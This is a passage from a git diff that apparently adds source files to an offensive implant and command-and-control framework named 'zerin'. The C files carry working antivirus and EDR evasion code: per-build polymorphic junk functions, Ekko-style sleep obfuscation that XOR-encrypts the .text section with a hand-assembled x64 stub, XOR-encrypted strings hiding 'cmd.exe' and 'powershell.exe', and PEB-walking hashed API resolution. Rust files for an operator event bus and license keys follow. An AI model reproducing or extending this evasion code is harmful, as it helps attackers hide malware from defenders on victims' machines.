+ r ^= 0xD9CF7197u; + r = (r >> 15) | (r << 17); + r ^= 0x234FC8F0u; + return r; +} + +static uint32_t poly_fn_95bf13ec(uint32_t p0, uint32_t p1, uint32_t p2) { + uint32_t r = p0; + r = poly_fn_37eab4a9(r, p1); + r ^= 0x7E66DC61u; + r ^= p1; + r += p2; + return r; +} + +static uint32_t poly_fn_7a72f9a4(uint32_t p0) { + uint32_t r = p0; + r = (r >> 3) | (r << 29); + r ^= 0x27C35042u; + r = (r << 24) | (r >> 8); + r ^= 0x17F60090u; + r = (r << 1) | (r >> 31); + r ^= 0xDE218211u; + r = (r << 9) | (r >> 23); + r ^= 0xF0EEBA89u; + r = (r << 11) | (r >> 21); + r ^= 0xCEA31838u; + return r; +} + +static uint32_t poly_fn_f152c4e2(uint32_t p0, uint32_t p1) { + uint32_t r = p0; + r = poly_fn_37eab4a9(r, p1); + r ^= 0x8917629Au; + r ^= p1; + return r; +} + +static uint32_t poly_fn_5bcccb21(uint32_t p0, uint32_t p1, uint32_t p2) { + uint32_t r = p0; + r = (r << 15) | (r >> 17); + r ^= 0x4B12B64Du; + r = (r >> 27) | (r << 5); + r ^= 0x5565128Au; + r = (r << 14) | (r >> 18); + r ^= 0x8E09DFDDu; + r = (r << 27) | (r >> 5); + r ^= 0xBE96CB14u; + r ^= p1; + r += p2; + return r; +} + +static uint32_t poly_fn_c2477e8c(uint32_t p0, uint32_t p1) { + uint32_t r = p0 ^ 0xBE05F794u; + for (uint32_t i = 0; i < 5u; i++) { + r ^= (r << 1) + i; + } + r ^= p1; + return r; +} + +static uint32_t poly_fn_9880dd6c(uint32_t p0, uint32_t p1) { + uint32_t r = p0; + r = r - 0x48C2u; + r = r + 0x690Fu; + r = r * 0x5BABu; + r = r ^ 0x005Bu; + r = r - 0xFC2Fu; + r = r ^ 0x13CEu; + r ^= p1; + return r; +} + +static uint32_t poly_fn_1ee76717(uint32_t p0) { + uint32_t r = p0; + r = (r << 31) | (r >> 1); + r ^= 0x0F8A422Eu; + r = (r >> 14) | (r << 18); + r ^= 0x0666EC7Du; + r = (r >> 9) | (r << 23); + r ^= 0x0795BA9Du; + r = (r >> 1) | (r << 31); + r ^= 0xCAAA7EBBu; + return r; +} + +static uint32_t poly_fn_9481ed98(uint32_t p0) { + uint32_t r = p0; + r = poly_fn_37eab4a9(r, r); + r ^= 0x16A391A6u; + return r; +} + +static uint32_t poly_fn_865d40a4(uint32_t p0, uint32_t p1, uint32_t p2) { + uint32_t arr[7] = { 0x81u, 0x8Fu, 0x6Cu, 0xA0u, 0x4Au, 0x9Bu, 0x5Au }; + uint32_t r = p0; + r += arr[0]; + r ^= arr[1]; + r ^= arr[2]; + r -= arr[3]; + r -= arr[4]; + r ^= arr[5]; + r -= arr[6]; + r *= p1 | 1u; + r += p2; + return r; +} + +static uint32_t poly_fn_75630276(uint32_t p0, uint32_t p1) { + uint32_t r = p0; + r = r + 0x3433u; + r = r + 0x4C43u; + r = r * 0x8FD7u; + r ^= p1; + return r; +} + +static uint32_t poly_fn_2b4ae648(uint32_t p0, uint32_t p1, uint32_t p2) { + uint32_t arr[6] = { 0x26u, 0xF9u, 0xBCu, 0x38u, 0x3Eu, 0xCFu }; + uint32_t r = p0; + r += arr[0]; + r -= arr[1]; + r += arr[2]; + r ^= arr[3]; + r ^= arr[4]; + r ^= arr[5]; + r *= p1 | 1u; + r += p2; + return r; +} + +static uint32_t poly_fn_259b2f09(uint32_t p0, uint32_t p1) { + uint32_t arr[8] = { 0x1Bu, 0x60u, 0x85u, 0xCDu, 0x2Bu, 0xDAu, 0x5Du, 0x1Bu }; + uint32_t r = p0; + r += arr[0]; + r ^= arr[1]; + r += arr[2]; + r ^= arr[3]; + r -= arr[4]; + r += arr[5]; + r += arr[6]; + r ^= arr[7]; + r *= p1 | 1u; + return r; +} + +static uint32_t poly_fn_045e92e2(uint32_t p0) { + uint32_t r = p0; + r = (r >> 2) | (r << 30); + r ^= 0xC06F9F6Bu; + r = (r << 16) | (r >> 16); + r ^= 0x705CA79Du; + r = (r << 14) | (r >> 18); + r ^= 0x372CCD7Fu; + r = (r >> 24) | (r << 8); + r ^= 0x074121F3u; + return r; +} + +static uint32_t poly_fn_a13fbe02(uint32_t p0, uint32_t p1) { + uint32_t r = p0 ^ 0xC31BB6D0u; + for (uint32_t i = 0; i < 4u; i++) { + r += (r << 3) + i; + } + r ^= p1; + return r; +} + +static uint32_t poly_fn_35ca3440(uint32_t p0, uint32_t p1) { + uint32_t r = p0; + r = (r << 18) | (r >> 14); + r ^= 0x5C16F836u; + r = (r << 2) | (r >> 30); + r ^= 0x7EAA43C2u; + r = (r >> 22) | (r << 10); + r ^= 0xF1FDCF17u; + r ^= p1; + return r; +} + +static uint32_t poly_fn_d06edf08(uint32_t p0) { + uint32_t r = p0 ^ 0xCE95050Bu; + for (uint32_t i = 0; i < 5u; i++) { + r += (r << 15) + i; + } + return r; +} + +static uint32_t poly_fn_3e1abaac(uint32_t p0, uint32_t p1, uint32_t p2) { + uint32_t r = p0; + r = poly_fn_2b4ae648(r, p1, p2); + r ^= 0x9B94C6F2u; + r ^= p1; + r += p2; + return r; +} + +static uint32_t poly_fn_0bac45c2(uint32_t p0, uint32_t p1) { + uint32_t r = p0; + r = r + 0x86B4u; + r = r - 0x6E0Au; + r = r - 0x8263u; + r = r * 0x2081u; + r ^= p1; + return r; +} + +static uint32_t poly_fn_a74b7644(uint32_t p0) { + uint32_t r = p0; + r = r + 0x187Bu; + r = r ^ 0xC4B4u; + r = r * 0x7D7Bu; + r = r + 0xE522u; + r = r * 0xA807u; + r = r + 0x775Cu; + return r; +} + +static uint32_t poly_fn_1d4482cc(uint32_t p0, uint32_t p1) { + uint32_t r = p0; + r = r - 0x24D0u; + r = r - 0xC3BCu; + r = r ^ 0x065Cu; + r = r + 0x17B2u; + r = r ^ 0x44FBu; + r = r - 0xD9C1u; + r ^= p1; + return r; +} + +static uint32_t poly_fn_e47de4ff(uint32_t p0, uint32_t p1) { + uint32_t arr[6] = { 0x00u, 0x08u, 0xBFu, 0x5Du, 0xEEu, 0x66u }; + uint32_t r = p0; + r -= arr[0]; + r -= arr[1]; + r -= arr[2]; + r ^= arr[3]; + r += arr[4]; + r += arr[5]; + r *= p1 | 1u; + return r; +} + +static uint32_t poly_fn_97a12f19(uint32_t p0, uint32_t p1) { + uint32_t r = p0; + r = r * 0x951Bu; + r = r * 0x00DBu; + r = r + 0x32A0u; + r = r - 0x0326u; + r = r ^ 0x17DEu; + r = r * 0x6AE7u; + r ^= p1; + return r; +} + +static uint32_t poly_fn_327d046a(uint32_t p0) { + uint32_t r = p0; + r = poly_fn_f152c4e2(r, r); + r ^= 0x4F1358B7u; + return r; +} + +static uint32_t poly_fn_2b4ec198(uint32_t p0) { + uint32_t r = p0 ^ 0x12B71FFEu; + for (uint32_t i = 0; i < 5u; i++) { + r += (r << 9) + i; + } + return r; +} + +static uint32_t poly_fn_62060b2d(uint32_t p0) { + uint32_t r = p0; + r = poly_fn_a13fbe02(r, r); + r ^= 0x8F6C0DA8u; + return r; +} + +static uint32_t poly_fn_b4291e04(uint32_t p0, uint32_t p1) { + uint32_t arr[5] = { 0x4Eu, 0x16u, 0xA2u, 0x12u, 0xE8u }; + uint32_t r = p0; + r += arr[0]; + r += arr[1]; + r += arr[2]; + r += arr[3]; + r += arr[4]; + r *= p1 | 1u; + return r; +} + +void poly_junk_init(void) { + uint32_t state = 0x535774C8u; + state = poly_fn_37eab4a9(state, state); + state = poly_fn_62058549(state); + state = poly_fn_a84afa8b(state, state); + state = poly_fn_813c5baf(state); + state = poly_fn_95bf13ec(state, state, state); + state = poly_fn_7a72f9a4(state); + state = poly_fn_f152c4e2(state, state); + state = poly_fn_5bcccb21(state, state, state); + state = poly_fn_c2477e8c(state, state); + state = poly_fn_9880dd6c(state, state); + state = poly_fn_1ee76717(state); + state = poly_fn_9481ed98(state); + state = poly_fn_865d40a4(state, state, state); + state = poly_fn_75630276(state, state); + state = poly_fn_2b4ae648(state, state, state); + state = poly_fn_259b2f09(state, state); + state = poly_fn_045e92e2(state); + state = poly_fn_a13fbe02(state, state); + state = poly_fn_35ca3440(state, state); + state = poly_fn_d06edf08(state); + state = poly_fn_3e1abaac(state, state, state); + state = poly_fn_0bac45c2(state, state); + state = poly_fn_a74b7644(state); + state = poly_fn_1d4482cc(state, state); + state = poly_fn_e47de4ff(state, state); + state = poly_fn_97a12f19(state, state); + state = poly_fn_327d046a(state); + state = poly_fn_2b4ec198(state); + state = poly_fn_62060b2d(state); + state = poly_fn_b4291e04(state, state); + g_poly_state = state; +} diff --git a/src/evasion/sleep_obf.c b/src/evasion/sleep_obf.c new file mode 100755 index 0000000..f96ad03 --- /dev/null +++ b/src/evasion/sleep_obf.c @@ -0,0 +1,228 @@ +#include "zerin.h" + +#ifdef _WIN32 + +typedef BOOL (WINAPI *PFN_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD); + +// ============================================================================ +// Sleep Obfuscation (Ekko-style) +// +// During the sleep interval between beacons, the agent's PE image is +// sitting in memory in plaintext — easy pickings for memory scanners. +// +// This technique uses Windows timer queues to: +// 1. XOR-encrypt the PE image's .text section in-place +// 2. Sleep for the requested duration +// 3. XOR-decrypt the .text section to resume execution +// +// While sleeping, the code section is encrypted gibberish, defeating +// in-memory signature scanning by EDR/AV. +// ============================================================================ + +// Context passed to timer callbacks via a global (timer callbacks have +// a fixed signature and limited context passing). +typedef struct { + uint8_t *text_base; // Start of .text section + DWORD text_size; // Size of .text section + uint8_t key[32]; // XOR key + HANDLE event_done; // Signaled when sleep completes +} sleep_obf_ctx_t; + +static sleep_obf_ctx_t g_sleep_ctx; + +// XOR the .text section with the key (in 32-byte blocks). +static void xor_text_section(uint8_t *base, DWORD size, const uint8_t *key) { + DWORD i; + for (i = 0; i < size; i++) { + base[i] ^= key[i % 32]; + } +} + +// Timer callback 1: encrypt the .text section then signal completion. +static VOID CALLBACK timer_encrypt_and_signal(PVOID param, BOOLEAN timer_fired) { + sleep_obf_ctx_t *ctx = (sleep_obf_ctx_t *)param; + DWORD old_protect; + + (void)timer_fired; + + PFN_VirtualProtect pVP = RESOLVE_API(HASH_KERNEL32, HASH_VirtualProtect, PFN_VirtualProtect); + if (!pVP) return; + + // Make .text section writable so we can XOR it + if (pVP(ctx->text_base, ctx->text_size, + PAGE_READWRITE, &old_protect)) { + xor_text_section(ctx->text_base, ctx->text_size, ctx->key); + // Restore original protection + pVP(ctx->text_base, ctx->text_size, + old_protect, &old_protect); + } +} + +// Timer callback 2: decrypt the .text section and signal we're done sleeping. +static VOID CALLBACK timer_decrypt_and_wake(PVOID param, BOOLEAN timer_fired) { + sleep_obf_ctx_t *ctx = (sleep_obf_ctx_t *)param; + DWORD old_protect; + + (void)timer_fired; + + PFN_VirtualProtect pVP = RESOLVE_API(HASH_KERNEL32, HASH_VirtualProtect, PFN_VirtualProtect); + if (!pVP) { SetEvent(ctx->event_done); return; } + + // Make .text writable again to decrypt + if (pVP(ctx->text_base, ctx->text_size, + PAGE_READWRITE, &old_protect)) { + xor_text_section(ctx->text_base, ctx->text_size, ctx->key); + pVP(ctx->text_base, ctx->text_size, + old_protect, &old_protect); + } + + // Signal the main thread to wake up + SetEvent(ctx->event_done); +} + +// Find the .text section of the current module by parsing PE headers. +static int find_text_section(uint8_t **out_base, DWORD *out_size) { + uint8_t *module_base = (uint8_t *)GetModuleHandleA(NULL); + IMAGE_DOS_HEADER *dos; + IMAGE_NT_HEADERS *nt; + IMAGE_SECTION_HEADER *section; + WORD i; + + if (!module_base) return -1; + + dos = (IMAGE_DOS_HEADER *)module_base; + if (dos->e_magic != IMAGE_DOS_SIGNATURE) return -1; + + nt = (IMAGE_NT_HEADERS *)(module_base + dos->e_lfanew); + if (nt->Signature != IMAGE_NT_SIGNATURE) return -1; + + section = IMAGE_FIRST_SECTION(nt); + for (i = 0; i < nt->FileHeader.NumberOfSections; i++) { + if (memcmp(section[i].Name, ".text", 5) == 0) { + *out_base = module_base + section[i].VirtualAddress; + *out_size = section[i].Misc.VirtualSize; + return 0; + } + } + + return -1; // .text section not found +} + +// Machine code for the XOR stub that runs from an RWX heap region. +// This stub is position-independent and takes 3 params via registers: +// RCX = text_base, RDX = text_size, R8 = key_ptr (32-byte key) +// +// Equivalent C: +// for (DWORD i = 0; i < text_size; i++) +// text_base[i] ^= key[i % 32]; +// +// x64 assembly: +// xor r9, r9 ; i = 0 +// .loop: +// cmp r9, rdx ; if i >= size, done +// jae .done +// mov rax, r9 +// and rax, 31 ; i % 32 +// movzx r10d, byte [r8+rax] +// xor byte [rcx+r9], r10b +// inc r9 +// jmp .loop +// .done: +// ret +static const uint8_t XOR_STUB_CODE[] = { + // offset 0: xor r9, r9 ; i = 0 + 0x4D, 0x31, 0xC9, + // offset 3: .loop: cmp rdx, r9 ; compare size with i + 0x4C, 0x39, 0xCA, + // offset 6: jbe .done ; if size <= i, done (rel8 = 0x15 → offset 29) + 0x76, 0x15, + // offset 8: mov rax, r9 ; rax = i + 0x4C, 0x89, 0xC8, + // offset 11: and rax, 31 ; rax = i % 32 + 0x48, 0x83, 0xE0, 0x1F, + // offset 15: movzx r10d, byte [r8+rax] ; r10 = key[i%32] + 0x45, 0x0F, 0xB6, 0x14, 0x00, + // offset 20: xor byte [rcx+r9], r10b ; base[i] ^= key[i%32] + 0x46, 0x30, 0x14, 0x09, + // offset 24: inc r9 ; i++ + 0x49, 0xFF, 0xC1, + // offset 27: jmp .loop ; (rel8 = 0xE6 → offset 3) + 0xEB, 0xE6, + // offset 29: .done: ret + 0xC3 +}; + +typedef void (*xor_stub_fn)(uint8_t *text_base, DWORD text_size, const uint8_t *key); + +// Timer callback context — extended with the heap-allocated stub pointer +typedef struct { + sleep_obf_ctx_t *ctx; + xor_stub_fn stub; +} timer_param_t; + +// Timer callback 1: encrypt .text then sleep (runs from timer queue thread) +static VOID CALLBACK timer_encrypt_cb(PVOID param, BOOLEAN timer_fired) { + timer_param_t *tp = (timer_param_t *)param; + (void)timer_fired; + + PFN_VirtualProtect pVP = RESOLVE_API(HASH_KERNEL32, HASH_VirtualProtect, PFN_VirtualProtect); + if (!pVP) return; + + DWORD old_protect; + if (pVP(tp->ctx->text_base, tp->ctx->text_size, + PAGE_READWRITE, &old_protect)) { + tp->stub(tp->ctx->text_base, tp->ctx->text_size, tp->ctx->key); + pVP(tp->ctx->text_base, tp->ctx->text_size, + old_protect, &old_protect); + } +} + +// Timer callback 2: decrypt .text and signal wake +static VOID CALLBACK timer_decrypt_cb(PVOID param, BOOLEAN timer_fired) { + timer_param_t *tp = (timer_param_t *)param; + (void)timer_fired; + + PFN_VirtualProtect pVP = RESOLVE_API(HASH_KERNEL32, HASH_VirtualProtect, PFN_VirtualProtect); + if (!pVP) { SetEvent(tp->ctx->event_done); return; } + + DWORD old_protect; + if (pVP(tp->ctx->text_base, tp->ctx->text_size, + PAGE_READWRITE, &old_protect)) { + tp->stub(tp->ctx->text_base, tp->ctx->text_size, tp->ctx->key); + pVP(tp->ctx->text_base, tp->ctx->text_size, + old_protect, &old_protect); + } + SetEvent(tp->ctx->event_done); +} + +int sleep_obfuscated(uint32_t ms, const uint8_t *key) { + (void)key; + + // NOTE: Timer-queue sleep obfuscation is DISABLED. + // + // The timer callbacks (timer_encrypt_cb / timer_decrypt_cb) live in + // .text. After the XOR stub encrypts .text, the callback's own return + // path is encrypted garbage — causing an immediate crash. + // + // Proper Ekko-style obfuscation requires ROP chains via NtContinue + // so that NO code in .text is executing during encryption/decryption. + // That's a significant implementation effort (gadget chaining, CFG + // bypass, etc.) and is left as a future enhancement. + // + // For now, just sleep normally. The XOR stub code and supporting + // infrastructure are kept for when a proper Ekko implementation + // is added. + Sleep(ms); + return 0; +} + +#else + +// Non-Windows fallback +int sleep_obfuscated(uint32_t ms, const uint8_t *key) { + (void)key; + usleep(ms * 1000); + return 0; +} + +#endif // _WIN32 diff --git a/src/evasion/strings.c b/src/evasion/strings.c new file mode 100755 index 0000000..4b22622 --- /dev/null +++ b/src/evasion/strings.c @@ -0,0 +1,70 @@ +// Auto-generated by generate_polymorphic.py - DO NOT EDIT +#include "zerin.h" +#include "poly_config.h" +#include + +#define ESTR_COUNT 6 + +void str_decrypt(char *buf, const unsigned char *enc, size_t len) { + size_t i; + for (i = 0; i < len; i++) + buf[i] = (char)(enc[i] ^ STR_KEY); + buf[len] = '\0'; +} + +void str_wipe(char *buf, size_t len) { + secure_zero(buf, len + 1); +} + +// "cmd.exe" +static const unsigned char enc_cmd_exe[] = { + 0xec, 0xe2, 0xeb, 0xa1, 0xea, 0xf7, 0xea +}; + +// "ntdll.dll" +static const unsigned char enc_ntdll[] = { + 0xe1, 0xfb, 0xeb, 0xe3, 0xe3, 0xa1, 0xeb, 0xe3, 0xe3 +}; + +// "kernel32.dll" +static const unsigned char enc_kernel32[] = { + 0xe4, 0xea, 0xfd, 0xe1, 0xea, 0xe3, 0xbc, 0xbd, 0xa1, 0xeb, 0xe3, 0xe3 +}; + +// "advapi32.dll" +static const unsigned char enc_advapi32[] = { + 0xee, 0xeb, 0xf9, 0xee, 0xff, 0xe6, 0xbc, 0xbd, 0xa1, 0xeb, 0xe3, 0xe3 +}; + +// "winhttp.dll" +static const unsigned char enc_winhttp[] = { + 0xf8, 0xe6, 0xe1, 0xe7, 0xfb, 0xfb, 0xff, 0xa1, 0xeb, 0xe3, 0xe3 +}; + +// "powershell.exe" +static const unsigned char enc_powershell[] = { + 0xff, 0xe0, 0xf8, 0xea, 0xfd, 0xfc, 0xe7, 0xea, 0xe3, 0xe3, 0xa1, 0xea, 0xf7, 0xea +}; + +typedef struct { + const unsigned char *data; + size_t len; +} estr_entry_t; + +static const estr_entry_t estr_table[ESTR_COUNT] = { + { enc_cmd_exe, sizeof(enc_cmd_exe) }, + { enc_ntdll, sizeof(enc_ntdll) }, + { enc_kernel32, sizeof(enc_kernel32) }, + { enc_advapi32, sizeof(enc_advapi32) }, + { enc_winhttp, sizeof(enc_winhttp) }, + { enc_powershell, sizeof(enc_powershell) }, +}; + +const unsigned char *estr_get(int index, size_t *out_len) { + if (index < 0 || index >= ESTR_COUNT) { + *out_len = 0; + return NULL; + } + *out_len = estr_table[index].len; + return estr_table[index].data; +} diff --git a/src/evasion/syscalls.c b/src/evasion/syscalls.c new file mode 100755 index 0000000..f4d69b4 --- /dev/null +++ b/src/evasion/syscalls.c @@ -0,0 +1,115 @@ +#include "zerin.h" + +#ifdef _WIN32 + +#include + +// ============================================================================ +// Runtime API resolution via PEB walking + hash matching +// +// Instead of importing sensitive APIs through the IAT (which AV/EDR tools +// scan), we resolve function pointers at runtime by: +// 1. Walking the Process Environment Block (PEB) to find loaded modules +// 2. Parsing each module's PE export table +// 3. Matching function names via hash comparison +// +// Hash algorithm is now a static inline from poly_hash.h (generated per build). +// This avoids static detection of suspicious imports. +// ============================================================================ + +// Walk the PEB's InMemoryOrderModuleList to find a loaded module by name hash. +void *get_module_by_hash(uint32_t hash) { +#if defined(_MSC_VER) || defined(__MINGW32__) + // Access PEB via TEB (Thread Environment Block) + // On x64: TEB is at GS:[0x30], PEB is at TEB+0x60 + // On x86: TEB is at FS:[0x18], PEB is at TEB+0x30 + PEB *peb; + PEB_LDR_DATA *ldr; + LIST_ENTRY *head; + LIST_ENTRY *current; + +#ifdef _WIN64 + peb = (PEB *)__readgsqword(0x60); +#else + peb = (PEB *)__readfsdword(0x30); +#endif + + if (!peb || !peb->Ldr) return NULL; + ldr = peb->Ldr; + head = &ldr->InMemoryOrderModuleList; + current = head->Flink; + + while (current != head) { + LDR_DATA_TABLE_ENTRY *entry = CONTAINING_RECORD( + current, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); + + if (entry->FullDllName.Buffer && entry->FullDllName.Length > 0) { + // Hash just the filename portion (after last backslash) + wchar_t *name = entry->FullDllName.Buffer; + USHORT name_len = entry->FullDllName.Length / sizeof(wchar_t); + wchar_t *last_slash = name; + USHORT i; + + for (i = 0; i < name_len; i++) { + if (name[i] == L'\\' || name[i] == L'/') { + last_slash = &name[i + 1]; + } + } + size_t fname_len = (size_t)(name_len - (last_slash - name)); + + if (hash_wide_lower(last_slash, fname_len) == hash) { + return entry->DllBase; + } + } + current = current->Flink; + } +#endif + return NULL; +} + +// Parse a PE module's export table to find a function by name hash. +FARPROC resolve_api(uint32_t module_hash, uint32_t func_hash) { + uint8_t *base = (uint8_t *)get_module_by_hash(module_hash); + IMAGE_DOS_HEADER *dos; + IMAGE_NT_HEADERS *nt; + IMAGE_EXPORT_DIRECTORY *exports; + DWORD *names; + WORD *ordinals; + DWORD *functions; + DWORD i; + + if (!base) return NULL; + + dos = (IMAGE_DOS_HEADER *)base; + if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL; + + nt = (IMAGE_NT_HEADERS *)(base + dos->e_lfanew); + if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL; + + // Get export directory + DWORD export_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + DWORD export_size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; + if (export_rva == 0) return NULL; + + exports = (IMAGE_EXPORT_DIRECTORY *)(base + export_rva); + names = (DWORD *)(base + exports->AddressOfNames); + ordinals = (WORD *)(base + exports->AddressOfNameOrdinals); + functions = (DWORD *)(base + exports->AddressOfFunctions); + + for (i = 0; i < exports->NumberOfNames; i++) { + const char *func_name = (const char *)(base + names[i]); + if (hash_api(func_name) == func_hash) { + // Check if this is a forwarded export (RVA within export directory) + DWORD func_rva = functions[ordinals[i]]; + if (func_rva >= export_rva && + func_rva < export_rva + export_size) { + continue; // Skip forwarded exports + } + return (FARPROC)(base + func_rva); + } + } + + return NULL; +} + +#endif // _WIN32 diff --git a/src/events/mod.rs b/src/events/mod.rs new file mode 100755 index 0000000..a73e6d9 --- /dev/null +++ b/src/events/mod.rs @@ -0,0 +1,129 @@ +use chrono::{DateTime, Utc}; +use serde::{Deserialize, Serialize}; +use std::sync::Arc; +use std::sync::Mutex; +use tokio::sync::broadcast; + +/// Serialize a unix timestamp (seconds) as an ISO 8601 string for JSON output. +fn serialize_timestamp_as_iso(ts: &i64, s: S) -> Result { + let dt = DateTime::from_timestamp(*ts, 0).unwrap_or_default(); + s.serialize_str(&dt.to_rfc3339()) +} + +/// Deserialize timestamp from either i64 or ISO 8601 string (for flexibility). +fn deserialize_timestamp<'de, D: serde::Deserializer<'de>>(d: D) -> Result { + use serde::de; + struct TimestampVisitor; + impl<'de> de::Visitor<'de> for TimestampVisitor { + type Value = i64; + fn expecting(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result { + f.write_str("an integer or ISO 8601 timestamp string") + } + fn visit_i64(self, v: i64) -> Result { Ok(v) } + fn visit_u64(self, v: u64) -> Result { Ok(v as i64) } + fn visit_str(self, v: &str) -> Result { + DateTime::parse_from_rfc3339(v) + .map(|dt| dt.timestamp()) + .map_err(de::Error::custom) + } + } + d.deserialize_any(TimestampVisitor) +} + +/// A system event that can be stored and broadcast. +/// Field names are renamed for JSON serialization to match the dashboard's +/// `ZerinEvent` interface (`id`, `type`, ISO 8601 `timestamp`). +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Event { + #[serde(rename = "id")] + pub event_id: String, + #[serde(rename = "type")] + pub event_type: String, + pub agent_id: String, + pub operator: String, + pub message: String, + #[serde(serialize_with = "serialize_timestamp_as_iso", deserialize_with = "deserialize_timestamp")] + pub timestamp: i64, + pub severity: String, +} + +impl Event { + pub fn new( + event_type: &str, + agent_id: &str, + operator: &str, + message: &str, + severity: &str, + ) -> Self { + Self { + event_id: uuid::Uuid::new_v4().to_string(), + event_type: event_type.to_string(), + agent_id: agent_id.to_string(), + operator: operator.to_string(), + message: message.to_string(), + timestamp: Utc::now().timestamp(), + severity: severity.to_string(), + } + } +} + +/// Broadcast-based event bus with a rolling in-memory log. +#[derive(Clone)] +pub struct EventBus { + sender: broadcast::Sender, + /// Recent events kept in memory for the REST API. + /// Uses std::sync::Mutex since writes are fast (push only) and this avoids + /// ordering issues with spawned async tasks. + history: Arc>>, + max_history: usize, +} + +impl EventBus { + pub fn new(capacity: usize, max_history: usize) -> Self { + let (sender, _) = broadcast::channel(capacity); + Self { + sender, + history: Arc::new(Mutex::new(Vec::with_capacity(max_history))), + max_history, + } + } + + /// Publish an event to all subscribers and store it in history. + pub fn emit(&self, event: Event) { + // Store in history synchronously to preserve ordering. + { + let mut h = self.history.lock().unwrap_or_else(|e| e.into_inner()); + h.push(event.clone()); + // Trim oldest events if we exceed max + if h.len() > self.max_history { + let excess = h.len() - self.max_history; + h.drain(0..excess); + } + } + + // Broadcast to live WebSocket subscribers. + match self.sender.send(event) { + Ok(_) => {} + Err(_) => { + // No active receivers — this is normal when no WebSocket clients + // are connected. Only log at trace level to avoid spam. + } + } + } + + /// Subscribe to live events (used by WebSocket handlers). + pub fn subscribe(&self) -> broadcast::Receiver { + self.sender.subscribe() + } + + /// Get recent event history. + // NOTE: The Mutex is held during the `.to_vec()` clone, which could cause + // contention under high load if many WebSocket clients request history + // concurrently. Acceptable for current scale; consider RwLock or a + // lock-free ring buffer if this becomes a bottleneck. + pub async fn recent(&self, limit: usize) -> Vec { + let h = self.history.lock().unwrap_or_else(|e| e.into_inner()); + let start = if h.len() > limit { h.len() - limit } else { 0 }; + h[start..].to_vec() + } +} diff --git a/src/license.rs b/src/license.rs new file mode 100755 index 0000000..705eebb --- /dev/null +++ b/src/license.rs @@ -0,0 +1,161 @@ +use hmac::{Hmac, Mac}; +use sha2::Sha256; + +type HmacSha256 = Hmac; + +const VERSION: u8 = 1; +const PAYLOAD_LEN: usize = 1 + 4 + 4; // version + key_id(u32) + expires_at(u32) = 9 +// SECURITY NOTE: 72-bit HMAC truncation is below the 128-bit security margin. +// This is an intentional design trade-off for shorter license keys. The truncated +// HMAC is sufficient for license validation (not a high-value cryptographic target) +// and brute-forcing 72 bits is still computationally expensive. +const HMAC_TRUNC: usize = 9; // truncated HMAC (72 bits) +const TOTAL_LEN: usize = PAYLOAD_LEN + HMAC_TRUNC; // 18 bytes → 29 base32 chars +const KEY_CHARS: usize = 30; // 29 data chars + 1 check char → 6 groups of 5 + +const BASE32_ALPHABET: &[u8; 32] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"; + +#[derive(Debug)] +pub struct LicenseKeyData { + pub version: u8, + pub key_id: String, + pub created_at: i64, + pub expires_at: i64, +} + +/// Derive the HMAC signing key from the license secret. +fn derive_hmac_key(license_secret: &str) -> Vec { + let mut mac = HmacSha256::new_from_slice(license_secret.as_bytes()) + .expect("HMAC key derivation failed"); + mac.update(b"zerin-license-key-v1"); + mac.finalize().into_bytes().to_vec() +} + +/// Compute a check character from raw bytes. +fn check_char(data: &[u8]) -> char { + let sum = data.iter().fold(0u32, |acc, b| acc.wrapping_add(*b as u32)); + BASE32_ALPHABET[(sum % 32) as usize] as char +} + +/// Generate a new license key valid for `duration_secs` seconds. +pub fn generate_license_key(license_secret: &str, duration_secs: i64) -> String { + let hmac_key = derive_hmac_key(license_secret); + let key_id = uuid::Uuid::new_v4(); + let key_id_bytes = &key_id.as_bytes()[..4]; // first 4 bytes of UUID + let now = chrono::Utc::now().timestamp(); + let expires_at = if duration_secs == LIFETIME_DURATION { + u32::MAX // lifetime key — expires ~year 2106 + } else { + let expires_at_i64 = now + duration_secs; + if expires_at_i64 < 0 || expires_at_i64 > u32::MAX as i64 { + return String::new(); + } + expires_at_i64 as u32 + }; + + // Build binary payload (9 bytes) + let mut payload = Vec::with_capacity(TOTAL_LEN); + payload.push(VERSION); + payload.extend_from_slice(key_id_bytes); // 4 bytes + payload.extend_from_slice(&expires_at.to_le_bytes()); // 4 bytes + + // HMAC sign, truncate to 9 bytes + let mut mac = HmacSha256::new_from_slice(&hmac_key).expect("HMAC failed"); + mac.update(&payload); + let sig = mac.finalize().into_bytes(); + payload.extend_from_slice(&sig[..HMAC_TRUNC]); // 9 bytes + + // Base32 encode (18 bytes → 29 chars) + check char → 30 chars + let encoded = base32::encode(base32::Alphabet::Rfc4648 { padding: false }, &payload); + let padded = format!("{}{}", encoded, check_char(&payload)); + + // Format as zer-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX + let chunks: Vec<&str> = padded.as_bytes() + .chunks(5) + .map(|c| std::str::from_utf8(c).unwrap()) + .collect(); + format!("zer-{}", chunks.join("-")) +} + +/// Parse and verify a license key string. +pub fn parse_license_key(key_str: &str, license_secret: &str) -> Result { + // Strip prefix and dashes + let stripped = key_str + .trim() + .strip_prefix("zer-") + .ok_or("key must start with zer-")? + .replace('-', ""); + + if stripped.len() != KEY_CHARS { + return Err(format!("invalid key length: expected {} chars, got {}", KEY_CHARS, stripped.len())); + } + + // First 29 chars are data, 30th is check char + let raw = base32::decode(base32::Alphabet::Rfc4648 { padding: false }, &stripped[..29]) + .ok_or("invalid base32 encoding")?; + + if raw.len() != TOTAL_LEN { + return Err(format!("invalid key data: expected {} bytes, got {}", TOTAL_LEN, raw.len())); + } + + // Verify check char + let expected_check = check_char(&raw); + let actual_check = stripped.chars().last().unwrap(); + if expected_check != actual_check { + return Err("invalid check character".into()); + } + + let payload = &raw[..PAYLOAD_LEN]; + let signature = &raw[PAYLOAD_LEN..]; + + // Verify truncated HMAC + let hmac_key = derive_hmac_key(license_secret); + let mut mac = HmacSha256::new_from_slice(&hmac_key).map_err(|e| e.to_string())?; + mac.update(payload); + let full_sig = mac.finalize().into_bytes(); + if full_sig[..HMAC_TRUNC] != *signature { + return Err("invalid signature".into()); + } + + // Parse fields + let version = payload[0]; 